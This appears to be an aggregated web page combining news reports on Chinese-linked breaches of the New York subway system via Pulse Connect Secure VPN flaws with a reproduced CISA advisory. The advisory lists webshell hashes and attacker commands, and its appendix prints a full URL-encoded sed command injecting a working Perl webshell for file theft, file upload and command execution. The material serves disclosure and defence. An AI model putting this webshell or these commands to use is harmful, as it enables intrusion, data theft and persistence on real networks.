Chinese Hackers Breached the New York Subway Computers Through Pulse Connect Secure Vulnerabilities

The Metropolitan Transportation Authority (MTA) disclosed that the New York subway system was attacked by hackers associated with the Chinese government. The Chinese hackers are believed to be part of threat actors involved in a global cyber espionage campaign against government agencies, critical infrastructure entities, and private organizations.

Chinese hackers used Pulse Connect Secure VPN to breach the New York subway system

The Chinese hackers exploited Pulse Connect Secure VPN zero-day vulnerabilities whose patches were yet to be released.

The Federal Bureau of Investigation (FBI), the National Security Agency (NSA), and the Department of Homeland Security’s Cybersecurity and Infrastructure Security Agency (CISA) had issued a joint alert on hackers targeting organizations via VPN vulnerabilities.

The joint alert recommended various mitigations to block Chinese hackers from exploiting Pulse Connect Secure VPN vulnerabilities. A day later on April 21, The MTA applied those mitigations.

Additionally, CISA had said it assisted several federal agencies, critical infrastructure entities, and private organizations breached since March 31 via Invanti’s Pulse Connect Secure. Transit officials believe the exploit was part of the wider breach identified by CISA.

Chinese hackers breached the New York subway twice in the second week of April before they were discovered on April 20.

The New York subway reported the attack to the federal authorities without publicly acknowledging the breach until the New York Times reported.

Investigation into the New York subway breach

The transit agency involved FireEye’s Mandiant division and IBM to conduct a forensic audit. The investigation revealed that hackers accessed three out of 18 computer systems.

Investigation on the New York subway data breach found that the attack did not affect operational systems and “no employee or customer information breached, no data loss and no changes to our vital systems.”

“Importantly, the MTA’s existing multi-layered security systems worked as designed, preventing spread of the attack and we continue to strengthen these comprehensive systems and remain…


Exploitation of Pulse Connect Secure Vulnerabilities

Opt-in to Cyber Safety. Multiple layers of protection for your devices, online privacy and more.


The Cybersecurity and Infrastructure Security Agency (CISA) is aware of compromises affecting U.S. government agencies, critical infrastructure entities, and other private sector organizations by a cyber threat actor—or actors—beginning in June 2020 or earlier related to vulnerabilities in certain Ivanti Pulse Connect Secure products. Since March 31, 2021, CISA assisted multiple entities whose vulnerable Pulse Connect Secure products have been exploited by a cyber threat actor. These entities confirmed the malicious activity after running the Pulse Secure Connect Integrity Tool. To gain initial access, the threat actor is leveraging multiple vulnerabilities, including CVE-2019-11510, CVE-2020-8260, CVE-2020-8243, and the newly disclosed CVE-2021-22893. The threat actor is using this access to place webshells on the Pulse Connect Secure appliance for further access and persistence. The known webshells allow for a variety of functions, including authentication bypass, multi-factor authentication bypass, password logging, and persistence through patching.

Ivanti has provided a mitigation and is developing a patch. CISA strongly encourages organizations using Ivanti Pulse Connect Secure appliances to immediately run the Pulse Secure Connect Integrity Tool, update to the latest software version, and investigate for malicious activity.

Technical Details

On March 31, 2021, Ivanti released the Pulse Secure Connect Integrity Tool to detect the integrity of Pulse Connect Secure appliances. Their technical bulletin states:

We are aware of reports that a limited number of customers have identified unusual activity on their Pulse Connect Secure (PCS) appliances. The investigation to date shows ongoing attempts to exploit vulnerabilities outlined in two security advisories that were patched in 2019 and 2020 to address previously known issues: Security Advisory SA44101 (CVE-2019-11510) and Security Advisory SA44601 (CVE- 2020- 8260). For more information visit KB44764 (Customer FAQ).

The suspected cyber threat actor modified several legitimate Pulse Secure files on the impacted Pulse Connect Secure appliances. The modifications implemented a variety of webshell functionality:

  • MD5: 4d5b410e1756072a701dfd3722951907
    • Runs arbitrary commands passed to it
    • Copies malicious code into Licenseserverproto.cgi
  • Licenseserverproto.cgi MD5: 9b526db005ee8075912ca6572d69a5d6
    • Copies malicious logic to the new files during the patching process, allowing for persistence
  • Secid_canceltoken.cgi MD5: f2beca612db26d771fe6ed7a87f48a5a
    • Runs arbitrary commands passed via HTTP requests
  • compcheckresult.cgi MD5: ca0175d86049fa7c796ea06b413857a3
    • Publicly-facing page to send arbitrary commands with ID argument
  • Login.cgi MD5: 56e2a1566c7989612320f4ef1669e7d5
    • Allows for credential harvesting of authenticated users
  • Healthcheck.cgi MD5: 8c291ad2d50f3845788bc11b2f603b4a
    • Runs arbitrary commands passed via HTTP requests

Other files were found with additional functionality:

  • MD5: 416488b6c8a9bdb9c0cb592e36f44677
    • Trojanized shared object to bypass multi-factor authentication via a hard-coded backdoor key.

Many of the threat actor’s early actions are logged in the Unauthenticated Requests Log as seen in the following format, URIs have been redacted to minimize access to webshells that may still be active:

Unauthenticated request url /dana-na/[redacted URI]?id=cat%20/home/webserver/htdocs/dana-na/[redacted URI] came from IP XX.XX.XX.XX.

The threat actor then ran the commands listed in table 1 via the webshell.

Table 1: Commands run via webshell

Time Command
2021-01-19T07:46:05.000+0000 pwd
2021-01-19T07:46:24.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted]
2021-01-19T08:10:13.000+0000 cat%20/home/webserver/htdocs/dana-na/l[redacted]
2021-01-19T08:14:18.000+0000 See Appendix.
2021-01-19T08:15:11.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted]
2021-01-19T08:15:49.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted]
2021-01-19T09:03:05.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted]
2021-01-19T09:04:47.000+0000 $mount
2021-01-19T09:05:13.000+0000 /bin/mount%20-o%20remount,rw%20/dev/root%20/
2021-01-19T09:07:10.000+0000 $mount


The cyber threat actor is using exploited devices located on residential IP space—including publicly facing Network Attached Storage (NAS) devices and small home business routers from multiple vendors—to proxy their connection to interact with the webshells they placed on these devices. These devices, which the threat actor is using to proxy the connection, correlate with the country of the victim and allow the actor activity to blend in with normal telework user activity.

Details about lateral movement and post-exploitation are still unknown at this time. CISA will update this alert as this information becomes available.


CISA strongly urges organizations using Pulse Secure devices to immediately:

If the Integrity Checker Tools finds mismatched or unauthorized files, CISA urges organizations to:

  • Contact CISA to report your findings (see Contact Information section below).
  • Contact Ivanti Pulse Secure for assistance in capturing forensic information.
  • Review “Unauthenticated Web Requests” log for evidence of exploitation, if enabled.
  • Change all passwords associated with accounts passing through the Pulse Secure environment (including user accounts, service accounts, administrative accounts and any accounts that could be modified by any account described above, all of these accounts should be assumed to be compromised). Note: Unless an exhaustive password reset occurs, factory resetting a Pulse Connect Secure appliance (see Step 3 below) will only remove malicious code from the device, and may not remove the threat actor from the environment. The threat actor may use the credentials harvested to regain access even after the appliance is fully patched.
  • Review logs for any unauthorized authentications originating from the Pulse Connect Secure appliance IP address or the DHCP lease range of the Pulse Connect Secure appliance’s VPN lease pool.
  • Look for unauthorized applications and scheduled tasks in their environment.
  • Ensure no new administrators were created or non-privileged users were added to privileged groups.
  • Remove any remote access programs not approved by the organization.
  • Carefully inspect scheduled tasks for scripts or executables that may allow a threat actor to connect to an environment.

In addition to the recommendations above, organizations that find evidence of malicious, suspicious, or anomalous activity or files, should consider the guidance in KB44764 – Customer FAQ: PCS Security Integrity Tool Enhancements, which includes:

After preservation, you can remediate your Pulse Connect Secure appliance by: 

  1. Disabling the external-facing interface.  
  2. Saving the system and user config.
  3. Performing a factory reset via the Serial Console. Note: For more information refer to KB22964 (How to reset a PCS device to the factory default setting via the serial console)
  4. Updating the appliance to the newest version.
  5. Re-importing the saved config.   
  6. Re-enabling the external interface. 

CISA recommends performing checks to ensure any infection is remediated, even if the workstation or host has been reimaged. These checks should include running the Pulse Secure Connect Integrity Tool again after remediation has been taken place.

Contact Information

CISA encourages recipients of this report to contribute any additional information that they may have related to this threat. For any questions related to this report, please contact CISA at

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on the CISA/US-CERT homepage at

Appendix: Large sed Command Found In Unauthenticated Logs

Unauthenticated request url /dana-na/[redacted]?id=sed%20-i%20%22/main();/cuse%20MIME::Base64;use%20Crypt::RC4;my%20[redacted];sub%20r{my%20$n=$_[0];my%20$rs;for%20(my%20$i=0;$i%3C$n;$i++){my%20$n1=int(rand(256));$rs.=chr($n1);}return%20$rs;}sub%20a{my%20$st=$_[0];my%20$k=r([redacted]);my%20$en%20=%20RC4(%20$k.$ph,%20$st);return%20encode_base64($k.$en);}sub%20b{my%20$s=%20decode_base64($_[0]);%20my%20$l=length($s);my%20$k=%20substr($s,0,[redacted]);my%20$en=substr($s,[redacted],$l-[redacted]);my%20$de%20=%20RC4(%20$k.$ph,%20$en%20);return%20$de;}sub%20c{my%20$fi=CGI::param(%27img%27);my%20$FN=b($fi);my%20$fd;print%20%22Content-type:%20application/x-download\n%22;open(*FILE,%20%22%3C$FN%22%20);while(%3CFILE%3E){$fd=$fd.$_;}close(*FILE);print%20%22Content-Disposition:%20attachment;%20filename=tmp\n\n%22;print%20a($fd);}sub%20d{print%20%22Cache-Control:%20no-cache\n%22;print%20%22Content-type:%20text/html\n\n%22;my%20$fi%20=%20CGI::param(%27cert%27);$fi=b($fi);my%20$pa=CGI::param(%27md5%27);$pa=b($pa);open%20(*outfile,%20%22%3E$pa%22);print%20outfile%20$fi;close%20(*outfile);}sub%20e{print%20%22Cache-Control:%20no-cache\n%22;print%20%22Content-type:%20image/gif\n\n%22;my%20$na=CGI::param(%27name%27);$na=b($na);my%20$rt;if%20(!$na%20or%20$na%20eq%20%22cd%22)%20{$rt=%22Error%20404%22;}else%20{my%20$ot=%22/tmp/1%22;system(%22$na%20%3E/tmp/1%202%3E&1%22);open(*cmd_result,%22%3C$ot%22);while(%3Ccmd_result%3E){$rt=$rt.$_;}close(*cmd_result);unlink%20$ot}%20%20print%20a($rt);}sub%20f{if(CGI::param(%27cert%27)){d();}elsif(CGI::param(%27img%27)%20and%20CGI::param(%27name%27)){c();}elsif(CGI::param(%27name%27)%20and%20CGI::param(%27img%27)%20eq%20%22%22){e();}else{%20%20%20&main();}}if%20($ENV{%27REQUEST_METHOD%27}%20eq%20%22POST%22){%20%20f();}else{&main();%20}%22%20/home/webserver/htdocs/dana-na/[redacted] came from IP XX.XX.XX.XX



Initial version: April 20, 2021


Spy groups hack into companies using zero-day flaw in Pulse Secure VPN

Protect yourself from online attacks that threaten your identity, your files, your system, and your financial well-being.

Over the past few months, several cyberespionage groups, including one believed to be tied to the Chinese government, have been breaking into the networks of organizations from the United States and Europe by exploiting vulnerabilities in VPN appliances from zero-trust access provider Pulse Secure. Some of the flaws date from 2019 and 2020, but one was unknown until this month.

“Mandiant is currently tracking 12 malware families associated with the exploitation of Pulse Secure VPN devices,” researchers from Mandiant, the MDR and incident response arm of security vendor FireEye, said in a newly released report. “These families are related to the circumvention of authentication and backdoor access to these devices, but they are not necessarily related to each other and have been observed in separate investigations. It is likely that multiple actors are responsible for the creation and deployment of these various code families.”

Pulse Secure VPN zero-day vulnerability

While investigating breaches this year at various defense, government and financial organizations from around the world, the Mandiant team kept finding malicious activity in the compromised environments tracing back to their Pulse Secure VPN appliances where hackers had obtained administrative access. The experts couldn’t determine how the hackers gained administrative credentials, so it contacted Pulse Secure and its parent company Ivanti. Their investigation concluded that the attackers were likely using known vulnerabilities found and patched over the past two years, but also a previously unknown one.

Tracked as CVE-2021-22893, the flaw allows attackers to bypass authentication on the Pulse Connect Secure (PCS) VPN solution and execute arbitrary code. The vulnerability is rated critical with a severity score of 10 on the CVSS scale. A patch for the issue will be included in version 9.1R.11.4 of the PCS server, which has not been released yet. Until then, the company provided a workaround in the form of an .xml configuration file that can be imported into the appliance. The file will disable the Windows File Share Browser and Pulse Secure Collaboration features of the appliance to block the…


CISA: Chinese state hackers are exploiting F5, Citrix, Pulse Secure, and Exchange bugs – ZDNet

  1. CISA: Chinese state hackers are exploiting F5, Citrix, Pulse Secure, and Exchange bugs  ZDNet
  2. CISA: Chinese Hackers Targeting US Agencies
  3. Chinese intelligence-linked hackers are exploiting known flaws to target Washington, US says  CyberScoop
  4. Hackers Connected to China Have Compromised U.S. Government Systems, CISA says  Nextgov
  5. Chinese intelligence hackers target U.S. government network, DHS says  Washington Times
  6. View Full Coverage on read more

“chinese hackers” – read more